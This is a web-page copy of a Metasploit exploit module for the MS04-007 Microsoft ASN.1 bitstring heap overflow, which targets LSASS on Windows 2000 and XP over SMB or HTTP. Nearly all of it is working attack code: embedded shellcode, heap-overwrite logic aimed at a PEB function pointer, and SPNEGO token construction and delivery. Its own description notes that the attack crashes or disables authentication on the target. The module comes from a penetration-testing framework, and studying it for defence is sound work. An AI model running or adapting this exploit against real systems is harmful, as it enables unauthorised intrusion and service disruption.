Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms04_007_killbill.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = LowRanking78include Msf::Exploit::Remote::SMB::Client910def initialize(info = {})11super(update_info(info,12'Name' => 'MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow',13'Description' => %q{14This is an exploit for a previously undisclosed15vulnerability in the bit string decoding code in the16Microsoft ASN.1 library. This vulnerability is not related17to the bit string vulnerability described in eEye advisory18AD20040210-2. Both vulnerabilities were fixed in the19MS04-007 patch. Windows 2000 SP4 Rollup 1 also patches this20vulnerability.2122You are only allowed one attempt with this vulnerability. If23the payload fails to execute, the LSASS system service will24crash and the target system will automatically reboot itself25in 60 seconds. If the payload succeeds, the system will no26longer be able to process authentication requests, denying27all attempts to login through SMB or at the console. A28reboot is required to restore proper functioning of an29exploited system.3031This exploit has been successfully tested with the win32/*/reverse_tcp32payloads, however a few problems were encountered when using the33equivalent bind payloads. Your mileage may vary.3435},36'Author' => [ 'Solar Eclipse <solareclipse[at]phreedom.org>' ],37'License' => BSD_LICENSE,38'References' =>39[40[ 'CVE', '2003-0818'],41[ 'OSVDB', '3902' ],42[ 'BID', '9633'],43[ 'MSB', 'MS04-007'],44],45'DefaultOptions' =>46{47'EXITFUNC' => 'thread'48},49'Privileged' => true,50'Payload' =>51{52'Space' => 1024,53'StackAdjustment' => -3500,54},55'Platform' => 'win',56'Targets' =>57[58[59'Windows 2000 SP2-SP4 + Windows XP SP0-SP1', # Tested OK - 11/25/2005 hdm (bind failed)60{61'Platform' => 'win',62},63],64],65'Notes' =>66{67'AKA' => [ 'kill-bill' ],68'Reliability' => [ UNRELIABLE_SESSION ],69'Stability' => [ CRASH_OS_RESTARTS, CRASH_SERVICE_DOWN ]70},71'DisclosureDate' => '2004-02-10',72'DefaultTarget' => 0))7374register_options [75OptEnum.new('PROTO', [true, 'Which protocol to use', 'smb', %w[smb http]]),76]7778deregister_options('SMB::ProtocolVersion')79end8081# This exploit is too destructive to use during automated exploitation.82# Better Windows-based exploits exist at this time (Sep 2006)83def autofilter84false85end8687# This is a straight port of Solar Eclipse's "kill-bill" exploit, published88# as a Metasploit Framework module with his permission. This module is only89# licensed under GPLv2, keep this in mind if you embed the Framework into90# a non-GPL application. -hdm[at]metasploit.com9192def exploit9394# The first stage shellcode fixes the PEB pointer and cleans the heap95stage0 =96"\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"+97"\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"+98"\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"+99"\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"+100"\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"+101"\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"+102"\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"+103"\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"+104"\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"+105"\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"+106"\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"+107"\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"+108"\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"+109"\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"+110"\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"+111"\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"+112"\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"+113"\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"+114"\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"+115"\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"+116"\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"+117"\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"+118"\x08\x00\xeb\xfe"119120token = spnego_token(stage0, payload.encoded)121122case datastore['PROTO']123when 'smb'124exploit_smb(token)125when 'http'126exploit_http(token)127else128print_status("Invalid application protocol specified, use smb or http")129end130end131132133def exploit_smb(token)134connect(versions: [1])135136client = Rex::Proto::SMB::Client.new(sock)137138begin139client.session_request(smb_hostname()) if not datastore['SMBDirect']140client.negotiate141client.session_setup_with_ntlmssp_blob(token)142rescue => e143if (e.to_s =~ /error code 0x00050001/)144print_error("The target system has already been exploited")145else146print_error("Error: #{e}")147end148end149150handler151disconnect152end153154def exploit_http(token)155connect(versions: [1])156157req = "GET / HTTP/1.0\r\n"158req << "Host: #{ datastore['RHOST']}\r\n"159req << "Authorization: Negotiate #{Rex::Text.encode_base64(token, '')}\r\n\r\n"160161sock.put(req)162res = sock.get_once163164if (res and res =~ /0x80090301/)165print_error("This server does not support the Negotiate protocol or has already been exploited")166end167168if (res and res =~ /0x80090304/)169print_error("This server responded with error code 0x80090304 (wth?)")170end171172handler173disconnect174end175176177# Returns an ASN.1 encoded string178def enc_asn1(str)179Rex::Proto::NTLM::Utils::asn1encode(str)180end181182# Returns an ASN.1 encoded bit string with 0 unused bits183def enc_bits(str)184"\x03" + enc_asn1("\x00" + str)185end186187# Returns a BER encoded constructed bit string188def enc_constr(*str_arr)189"\x23" + enc_asn1(str_arr.join(''))190end191192# Returns a BER encoded SPNEGO token193def spnego_token(stage0, stage1)194195if !(stage0 and stage1)196print_status("Invalid parameters passed to spnego_token")197return198end199200if (stage0.length > 1032)201print_status("The stage 0 shellcode is longer than 1032 bytes")202return203end204205tag = "\x90\x42\x90\x42\x90\x42\x90\x42"206207if ((tag.length + stage1.length) > 1033)208print_status("The stage 1 shellcode is too long")209return210end211212213# The first two overwrites must succeed, so we write to an unused location214# in the PEB block. We don't care about the values, because after this the215# doubly linked list of free blocks is corrupted and we get to the second216# overwrite which is more useful.217218fw = "\xf8\x0f\x01\x00" # 0x00010ff8219bk = "\xf8\x0f\x01"220221# The second overwrite writes the address of our shellcode into the222# FastPebLockRoutine pointer in the PEB223224peblock = "\x20\xf0\xfd\x7f" # FastPebLockRoutine in PEB225226bitstring = enc_constr(227enc_bits("A" * 1024),228"\x03\x00",229enc_constr(230enc_bits(tag + stage1 + ("B" * (1033-(tag+stage1).length))),231enc_constr( enc_bits(fw + bk) ),232enc_constr(233enc_bits("CCCC" + peblock + stage0 + ("C" * (1032-stage0.length))),234enc_constr(235enc_bits("\xeb\x06" + make_nops(6)),236enc_bits("D" * 1040)237)238)239)240)241242token = "\x60" + enc_asn1( # Application Constructed Object243"\x06\x06\x2b\x06\x01\x05\x05\x02" + # SPNEGO OID244"\xa0" + enc_asn1( # NegTokenInit (0xa0)245"\x30" + enc_asn1(246"\xa1" + enc_asn1(247bitstring248)249)250)251)252253return token254end255end256257258